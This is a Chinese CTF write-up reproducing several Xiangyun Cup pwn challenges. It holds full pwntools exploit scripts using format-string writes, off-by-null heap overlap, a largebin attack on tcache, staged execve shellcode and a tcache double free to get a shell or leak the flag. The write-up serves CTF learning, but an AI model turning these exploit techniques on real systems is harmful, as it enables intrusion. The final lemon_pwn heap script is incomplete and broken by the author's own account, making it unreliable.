祥云杯复现

note

思路是通过say中的格式化字符串漏洞,改topchunk,改完后,减小topchunk,然后分配一个大于topchunk的堆,得到main_arena,
再使用两次say改malloc_hook以及realloc_hook(调整栈,打og)
realloc_og调整栈:https://blog.csdn.net/qq_39869547/article/details/104587504
house of orange:https://www.cnblogs.com/L0g4n-blog/p/14217309.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

#p = process("./note")
p = remote("47.104.70.90",25315)

elf = ELF("./note")
libc = ELF("./libc-2.23.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def add(size,con):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("content: ")
p.send(con)

def say(con):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("say ? ")
p.send(con)

def show():
p.recvuntil("choice: ")
p.sendline("3")

add(0x28,"a"*0x26)
p.recvuntil("addr: ")
ad = int(p.recv(14),16) + 0x28
log.info("ad: " + hex(ad))

say("%7$x"+"bbbb"+p64(ad))
p.recvuntil("? ")
p.sendline("0xfd1") #add0x28后的topchunk后三位

for i in range(0xf):
add(0xf0,"aaaa")

add(0x100,"aaaa")
add(0x30,"bbbbbbbb")
#gdb.attach(p)

show()
p.recvuntil("content:bbbbbbbb")
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 0x108 - libc.sym["__malloc_hook"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
og = libc_base + 0x4527a# 0x45226 0x4527a 0xf03a4 0xf1247

realloc = libc_base + libc.sym["__libc_realloc"]
log.info("libc_base: " + hex(libc_base))
log.info("malloc_hook: " + hex(malloc_hook))
log.info("og: " + hex(og))
log.info("realloc: " + hex(realloc))

say("%7$s" + "bbbb" + p64(malloc_hook - 8))
p.recvuntil("? ")
p.sendline(p64(og))

#gdb.attach(p)

say("%7$s" + "bbbb" + p64(malloc_hook))
p.recvuntil("? ")
p.sendline(p64(realloc+13))

#gdb.attach(p)

p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("size: ")
p.sendline("16")
#gdb.attach(p)
p.interactive()

PassWordBox_FreeVersion

64位保护全开,add函数中存在off-by-null,并且在输入数据后会对数据进行加密,加密算法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall cry(__int64 a1, int a2)//a1为堆content的地址,a2为输入的size
{
__int64 result; // rax
int v3; // [rsp+14h] [rbp-18h]
int i; // [rsp+18h] [rbp-14h]

v3 = 2 * (a2 / 16);//计算加密的次数,每8个字节加密一次
if ( a2 % 16 <= 8 )
{
if ( a2 % 16 > 0 )//不足8补1
++v3;
}
else
{
v3 += 2;//大于8小于16补2
}
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= v3 )
break;
*(_QWORD *)(8LL * i + a1) ^= qword_4040;//输入数据与qword_4040异或
}
return result;
}

已知初始数据a,异或后的数据b,a ^ qword_4040 = b ,b ^ a = qword_4040
本题环境是ubuntu18,而ubuntu18中需要注意tcache的影响不能像ubuntu16那样overlapping,思路是先创建三个堆chunk0,chunk1,
chunk2,将0x100的tcache填满后,将chunk0放到unsortedbin,并将chunk2的pre_size改为前两个堆的大小,此时再free2就能触发chunk2和chunk0合并,然后分配一个0xf8的堆,main_arena就会到chunk1的fd,
而此时chunk1不是free状态,这样就可以泄露libc了,泄露了libc之后,因为之前分配的chunk1并没有free,再分配一个堆,堆9就会与
堆1重合,此时bss段上有两个同样的指针一个索引是1,一个是9,然后就可以乱写了(不是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *

p = process("./pwdFree")
#p = remote("47.104.71.220",38562)

libc = ELF("./libc.so.6")

def add(idd,leng,con):
p.recvuntil("Input Your Choice:")
p.sendline("1")
p.recvuntil("Input The ID You Want Save:")
p.send(str(idd))
p.recvuntil("Length Of Your Pwd:")
p.sendline(str(leng))
p.recvuntil("Your Pwd:")
p.send(con)

def edit(idx,con):
p.recvuntil("Input Your Choice:")
p.sendline("2")
p.sendline(str(idx))
p.send(con)

def show(idx):
p.recvuntil("Input Your Choice:")
p.sendline("3")
p.recvuntil("Which PwdBox You Want Check:")
p.sendline(str(idx))

def free(idx):
p.recvuntil("Input Your Choice:")
p.sendline("4")
p.recvuntil("Idx you want 2 Delete:")
p.sendline(str(idx))

add(0,0xf8,"a"*0x10+"\n")#0
p.recvuntil("Save ID:")
ad = u64(p.recv(8))
key = 0x6161616161616161 ^ ad
add(1,0xf8,"aaaa\n")#1
add(2,0xf8,"bbbb\n")#2

for i in range(7):
add(3+i,0xf8,"aaaa\n")#3-9
for i in range(7):
free(i+3)#填满tcache

free(0)#将chunk0放到unsortedbin
add(0,0xf8,p64(0x61616161^key)+"\n")#0这里是让tcachebin空出一个位置,放chunk1来修改chunk2的presize并利用off-by-null
free(1)
add(1,0xf8,"a"*0xf0+p64(0x200^key))#1,这个1这个堆没动,当add一个0xf8的堆后,main_arena就到这里来了
free(0)#填满tcachebin
free(2)#合并chunk2与chunk0
for i in range(7):#清空tcachebin为了能从unsortedbin上分配
add(3+i,0xf8,"aaaa\n")#0 2 3 4 5 6 7

add(8,0xf8,"aaaa\n")
show(1)
p.recvuntil("Pwd is: ")

ad = u64(p.recv(8))
ad = ad ^ key
libc_base =ad - 0x70 - libc.sym["__malloc_hook"]
malloc_hook = libc_base + libc.sym["__free_hook"]
og = libc_base + 0x4f432 #0x4f3d5 0x4f432 0x10a41c

log.info("libc_base: " + hex(libc_base))
log.info("malloc_hook: " + hex(malloc_hook))
log.info("og: " + hex(og))

add(9,0xf8,"bbbb\n")
free(0)
free(1)

edit(9,p64(malloc_hook))
add(10,0xf8,"aaaa\n")
add(11,0xf8,p64(og^key)+"\n")

gdb.attach(p)
free(9)

p.interactive()

PassWordBox_ProVersion

strings看一下支持的版本,是2.31,malloc大小限制为largebin
通过largebin将tcache_max_bytes和tcache_bins改大
avatar
可以看到此时tcache_max_bytes和tcache_bins非常大(反正比0x600大)
free掉10此时10这个堆是当tcachefree掉的,然后edit(0,把对应地址改成free_hook,再add得到这个堆填入system就可以了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

p = process("./pwdPro")
context.arch = "amd64"
context.os = "linux"
#context.log_level = "debug"
def add(idx,size,con):
p.recvuntil("Input Your Choice:\n")
p.sendline("1")
p.recvuntil("Which PwdBox You Want Add:")
p.sendline(str(idx))
p.recvuntil("Input The ID You Want Save:")
p.sendline("1")
p.recvuntil("Length Of Your Pwd:")
p.sendline(str(size))
p.recvuntil("Your Pwd:")
p.sendline(con)

def edit(idx,con):
p.recvuntil("Input Your Choice:\n")
p.sendline("2")
p.recvuntil("Which PwdBox You Want Edit:")
p.sendline(str(idx))
p.sendline(con)

def show(idx):
p.recvuntil("Input Your Choice:\n")
p.sendline("3")
p.recvuntil("Which PwdBox You Want Check:")
p.sendline(str(idx))

def free(idx):
p.recvuntil("Input Your Choice:\n")
p.sendline("4")
p.recvuntil("Idx you want 2 Delete:")
p.sendline(str(idx))

def recover(idx):
p.recvuntil("Input Your Choice:\n")
p.sendline("5")
p.recvuntil("Idx you want 2 Recover:\n")
p.sendline(str(idx))

add(0,0x450,"a"*8)
p.recvuntil("Save ID:")
key = u64(p.recv(8)) ^ 0x6161616161616161
add(1,0x420,"bbbb")
free(0)
recover(0)
show(0)
p.recvuntil("Pwd is: ")
libc_base = (u64(p.recv(8))^key)
libc_base = libc_base - 112 - libc.sym["__malloc_hook"]
mp = libc_base + 0x1eb280
log.info("libc_base: " + hex(libc_base))
log.info("adddddddd: " + hex(libc_base + 0x1eb2d8 -0x20 - 4))
log.info("free_hook: " + hex(libc_base + libc.sym["__free_hook"]))
add(0,0x450,"a")
add(2,0x440,"a")
add(3,0x420,"a")

free(0)

add(4,0x600,"a")
free(2)
recover(0)
show(0)
p.recvuntil("Pwd is: ")
p.recv(0x10)
heap_ad = u64(p.recv(8))^key
log.info("heap_ad: " + hex(heap_ad))
edit(0,p64(libc_base + 0x1ec010)*2 + p64(heap_ad) + p64(libc_base + 0x1eb2d8 -0x20 - 4))

add(10,0x600,"aaa")

add(11,0x800,p64(u64("/bin/sh\x00")^key))

free(10)

edit(0,b"a"*0xe8 + p64(libc_base + libc.sym["__free_hook"]))

add(12,0x600,p64((libc_base + libc.sym["system"])^key))

free(11)

p.interactive()

JigSaw‘sCage

检查,64位保护全开,前面存在一个整数溢出,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 sub_15F0()
{
int v1; // [rsp+8h] [rbp-18h] BYREF
int v2; // [rsp+Ch] [rbp-14h]
__int64 v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
v3 = sysconf(30);
v1 = 0;
v2 = rand() % 16;
while ( dword_5010 )
{
printf("The result is %d\n", (unsigned int)v2);
printf(aAreYouWillingT, (unsigned int)dword_5010);
puts("Make your Choice:");
__isoc99_scanf("%ld", &v1);
if ( !v1 )
{
if ( v2 > 14 )
mprotect((void *)(-v3 & qword_5148), (-v3 & (qword_5148 + 1024 + v3 - 1)) - (-v3 & qword_5148), 7);
else
mprotect((void *)(-v3 & qword_5148), v2, 7);
return __readfsqword(0x28u) ^ v4;
}
--dword_5010;
puts("OK,Let's Try Again?");
}
return __readfsqword(0x28u) ^ v4;
}

第一次必须保证v1为0,但是按道理来说不应该只要第一次溢出了,然后再输入0也可以v2不变,结果v2变0了(盲猜与scanf有关)
然后注意看test功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 sub_1B9E()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Index? : ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 31 )
exit(-1);
if ( qword_5040[v1] )
qword_5040[v1]();
else
puts("Nothing Exists!");
return __readfsqword(0x28u) ^ v2;
}

思路大致出来了,创建4个堆,然后分别填上合适的shellcde就可以了(真的良心给了0x50的空间,另外还有一种shellcode是通过改free_hook为system挺短的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

p = process("./pwn")
context.arch = "amd64"
context.os = "linux"
#context.log_level = "debug"

p.recvuntil("Name:\n")
p.sendline("archer")
p.recvuntil("Make your Choice:\n")
p.sendline(str(0x1000000000))

def add(idx):
p.recvuntil("Choice : \n")
p.sendline("1")
p.recvuntil("Index? : \n")
p.sendline(str(idx))

def edit(idx,con):
p.recvuntil("Choice : \n")
p.sendline("2")
p.recvuntil("Index? : \n")
p.sendline(str(idx))
p.recvuntil("iNput:\n")
p.sendline(con)

def free(idx):
p.recvuntil("Choice : \n")
p.sendline("3")
p.recvuntil("Index? : ")
p.sendline(str(idx))

def test(idx):
p.recvuntil("Choice : \n")
p.sendline("4")
p.recvuntil("Index? : \n")
p.sendline(str(idx))

def show(idx):
p.recvuntil("Choice : \n")
p.sendline("5")
#ececve 59 rax,rdi,rsi,rdx;syscall
add(0)#0x2c0
add(1)#0x2e0
add(2)#0x300
add(3)#0x320
add(4)#0x340

shell1 = asm("mov rax,59;add rdx,0x20;call rdx")
shell2 = asm("mov rdi,rdx;add rdi,0x20;call rdi")
shell3 = asm("xor rsi,rsi;add rdi,0x20;call rdi")
shell4 = asm("xor rdx,rdx;add rdi,0x20;syscall;")
print(len(shell1))
print(len(shell2))
edit(0,shell1)
edit(1,shell2)
edit(2,shell3)
edit(3,shell4)
edit(4,"/bin/sh\x00\x00")
#gdb.attach(p)
test(0)
p.interactive()

LifeSimulation

c++现在不太会,以后再补充

lemon_pwn

这个题有两种方法做,在程序开始有一个地方满足条件能把flag读到bss段上,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 sub_DF3()
{
int v1; // [rsp+4h] [rbp-1Ch]
unsigned int v2; // [rsp+8h] [rbp-18h]
unsigned int i; // [rsp+Ch] [rbp-14h]
__int64 v4; // [rsp+10h] [rbp-10h]
__int64 buf; // [rsp+18h] [rbp-8h] BYREF

buf = 0LL;
puts("Give me your lucky number: ");
read(0, &buf, 8uLL);
v4 = buf;
v1 = HIDWORD(buf) ^ buf | (3 * buf - HIDWORD(buf)) & ((unsigned int)buf / HIDWORD(buf));
v2 = -1;
for ( i = 0; i < (int)v4 - HIDWORD(v4); ++i )
{
v1 ^= rand();
if ( v1 == 0x13B6DB38 )
return 1;
}
return v2;
}

这个地方由于rand()函数未设置种子,因此rand()为固定值,v1那个地方要算一下,我算出来buf
为p32(0x783d9e5e)+p32(0x1),应该也有其它值能满足条件
然后看color函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_1295()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned int *buf; // [rsp+8h] [rbp-8h]

if ( qword_202010 != 1 )
leave();
qword_202010 = 0LL;
puts("Let's color your lemon!");
puts("Input the index of your lemon : ");
v1 = choice();
if ( v1 > 3 )
leave();
buf = (unsigned int *)qword_202880[v1];
if ( !buf || !buf[5] )
leave();
puts("Now it's your time to draw and color!");
read(0, buf, buf[4]);
return puts("Done!");
}

这个函数是本题最关键的地方(没有检查下标)通过这个函数有两种做法,一种为栈上的做法,一种为堆的做法
栈的做法如下,思路是得到flag后三位地址后,通过功能color来将栈./lemon那个的地址改成flag地址,有一位不确定
需要爆破,然后调用功能1,就会报错,输出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

#libc = ELF("/home/giantbranch/lemon/libc-2.26.so")
'''
libc_path = "/home/giantbranch/lemon/libc-2.26.so"
ld_path = "/home/giantbranch/lemon/ld-2.26.so"
p = process([ld_path, "./lemon_pwn"], env={"LD_PRELOAD":libc_path})
'''
p = process("./lemon_pwn")
context.arch = "amd64"

context.os = "linux"

context.log_level = "debug"
#gdb.attach(p)

def add(idx,name,leng,con):
p.recvuntil("your choice >>> ")
p.sendline("1")
p.recvuntil("Input the index of your lemon: \n")
p.sendline(str(idx))
p.recvuntil("Now, name your lemon: \n")
p.sendline(str(name))
p.recvuntil("Input the length of message for you lemon: \n")
p.sendline(str(leng))
p.recvuntil("Leave your message: \n")
p.sendline(con)

def eat(idx):
p.recvuntil("your choice >>> ")
p.sendline("2")
p.recvuntil("Input the index of your lemon : \n")
p.sendline(str(idx))

def free(idx):
p.recvuntil("your choice >>> ")
p.sendline("3")
p.recvuntil("Input the index of your lemon : \n")
p.sendline(str(idx))

def color(idx,con):
p.sendlineafter("your choice >>> ","4")
p.sendafter("Input the index of your lemon : ",str(idx))
p.sendafter("draw and color!",con)

def exp():
p.recvuntil("Do you wanner play a guess-lemon-color game with me?\n")
p.sendline("yes")
p.recvuntil("Give me your lucky number: ")
p.send(p32(0x783d9e5e)+p32(0x1))
p.recvuntil("tell me you name first: ")
p.send("a"*0x14+p8(0xff))

p.recvuntil("reward is ")
flag_ad = int(p.recv(5),16) -0x40
log.info("a_ad: " + hex(flag_ad))
flag_ad += 0x1000
payload = "a"*0x138 + chr(flag_ad&0xff) + chr((flag_ad>>8)&0xff)
color(-260,payload)
payload = "a"*0x20
add(0,"aaaa",0x20,payload)

while(1):
global p
p = process("./lemon_pwn")
exp()
a = p.recvuntil("terminated\n")
print a
if "flag" in a:
pause()
else:
p.close()

堆的做法如下,堆的做法有亿点点复杂,在add函数中会先分配一个0x30的堆,然后在判断输入的size的,>=0x400就
free掉,但是0x30那个堆没有free,并且写在bss段上了,此时再调用free函数就能double free
先分配几个堆

1
2
3
4
5
6
7
8
9
10
11
12
add(3,"a",0x10,p64(0)+p64(0x31))
add(0,p64(0)+p64(0x31),0x400,p64(0)+p64(0x30))
eat(0)
p.recvuntil("eat eat eat ")
heap_ad = int(p.recv(5),10)
log.info("heap_ad: " + hex(heap_ad))

add(2,"a"*0x8+p64(0x31),0x60,p64(0)+p64(0x3f0))
add1(1,"aaa",0x420)
free(1)
add1(1,"aaa",0x420)
free(1)

此时的堆如图
avatar
然后仔细看这一部分

1
2
3
4
5
6
7
8
9
now_ad = heap_ad -0x10
add(1,p16(now_ad),0x30,"bbbbbb")#这里是分配到堆3伪造的ox31上去
add(1,"aaaaaaaa",0x20,"a"*0x8+p64(0x4e1))#伪造unsortedbin的大小

free(0)#伪造的0x4e1放到unsortedbin,后面那个0x400放到tcachebin

add(0,"a0",0x60,"bbbb")#从伪造的unsortedbin上分配
free(0)
free(2)

此时的堆如图
avatar

1
2
3
4
5
6
7
8
9
10
11
12
13
add(0,"a1",0x3c0,"aaaaa")#此时堆2那个0x60的堆被写入main_arena
add1(0,"a1",0x420)
free(0)
add1(0,"a1",0x420)
free(0)#故技重施,又得到a->a->a

now_ad = heap_ad + 0x450
add(0,p16(now_ad),0x40,p16(0x36ed))#此时由于0x40还是从unsorted中分配,bin中0x70->main_arena
add(0,"a"*0x8+p64(0x31),0x20,"a"*0x18+p64(0x71))
free(0)
add(0,"a",0x60,"aaa")
add(0,"a",0x60,"\x00"*0x3+p64(0)*5+p64(0x71)+p64(0xfbad1800)+p64(0)*3+"\x00")
libc_base = u64(p.recv(6)+"\x00\x00") - 0x3db700

后面的思路是分配到栈上把./lemon_pwn那个地址改成flag(环境有问题,都分配到stdout上面了,就是写不进去…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *

#p = process("./pwdPro")

#libc = ELF("/home/giantbranch/lemon/libc-2.26.so")
'''
libc_path = "/home/giantbranch/lemon/libc-2.26.so"
ld_path = "/home/giantbranch/lemon/ld-2.26.so"
p = process([ld_path, "./lemon_pwn"], env={"LD_PRELOAD":libc_path})
'''
p = process("./lemon_pwn")
context.arch = "amd64"
context.os = "linux"
#context.log_level = "debug"
#gdb.attach(p)

def add(idx,name,leng,con):
p.recvuntil("your choice >>> ")
p.sendline("1")
p.recvuntil("Input the index of your lemon: \n")
p.sendline(str(idx))
p.recvuntil("Now, name your lemon: \n")
p.send(name)
p.recvuntil("Input the length of message for you lemon: \n")
p.sendline(str(leng))
p.recvuntil("Leave your message: \n")
p.send(con)

def add1(index, name, size):
p.sendlineafter("choice >>> ", "1")
p.sendlineafter("index of your lemon: \n", str(index))
p.sendlineafter("name your lemon: \n", name)
p.sendlineafter("for you lemon: \n", str(size))

def eat(idx):
p.recvuntil("your choice >>> ")
p.sendline("2")
p.recvuntil("Input the index of your lemon : \n")
p.sendline(str(idx))

def free(idx):
p.recvuntil("your choice >>> ")
p.sendline("3")
p.recvuntil("Input the index of your lemon : \n")
p.sendline(str(idx))

def color(idx,con):
p.sendlineafter("your choice >>> ","4")
p.sendafter("Input the index of your lemon : ",str(idx))
p.sendafter("draw and color!",con)

def exp():
p.recvuntil("Do you wanner play a guess-lemon-color game with me?\n")
p.sendline("yes")
p.recvuntil("Give me your lucky number: ")
p.send(p32(0x783d9e5e)+p32(0x1))
p.recvuntil("tell me you name first: ")
p.send("a"*0x14+p8(0xff))

p.recvuntil("reward is ")
flag_ad = int(p.recv(5),16) -0x40
log.info("a_ad: " + hex(flag_ad))
flag_ad += 0x1000

add(3,"a",0x10,p64(0)+p64(0x31))
add(0,p64(0)+p64(0x31),0x400,p64(0)+p64(0x30))
eat(0)
p.recvuntil("eat eat eat ")
heap_ad = int(p.recv(5),10)
log.info("heap_ad: " + hex(heap_ad))

add(2,"a"*0x8+p64(0x31),0x60,p64(0)+p64(0x3f0))
add1(1,"aaa",0x420)
free(1)
add1(1,"aaa",0x420)
free(1)

now_ad = heap_ad -0x10

add(1,p16(now_ad),0x30,"bbbbbb")

add(1,"aaaaaaaa",0x20,"a"*0x8+p64(0x4e1))
free(0)

add(0,"a0",0x60,"bbbb")

free(0)
free(2)

add(0,"a1",0x3c0,"aaaaa")

add1(0,"a1",0x420)
free(0)
add1(0,"a1",0x420)
free(0)


now_ad = heap_ad + 0x450
add(0,p16(now_ad),0x40,p16(0xb760))
add(0,"a"*0x8+p64(0x31),0x20,"a"*0x18+p64(0x71))
free(0)
#gdb.attach(p)
add(0,"a",0x60,"aaa")
gdb.attach(p)
add(0,"a",0x60,64(0xfbad1800)+p64(0)*3+"\x00")
#print "pause: " + p.recv(6)
throw(1)
color(0,"d"*0x10+p32(1)+p32(60)+p64(libc_base+0x3db720))

throw(0)
environ = libc_base + libc.sym['__environ']

add(0,"a",0x60, p64(0xfbad1800) + p64(0)*3 +p64(environ)+p64(environ+8)*2+p64(environ)+p64(environ+8))
flag_stack = u64(r.recv(6) + '\x00\x00') - 0x188
free(0)

add(0,"a",0x60, p64(0xfbad1800) + p64(0)*3 +p64(flag_stack)+p64(flag_stack+0x20)*2+p64(flag_stack)+p64(flag_stack+0x20))
p.recv()

while(1):
try:
global p
p = process("./lemon_pwn")
exp()
except:
p.close()

还有一个ez_pwn和baby_null太阴间了,0解还是1解就不复现了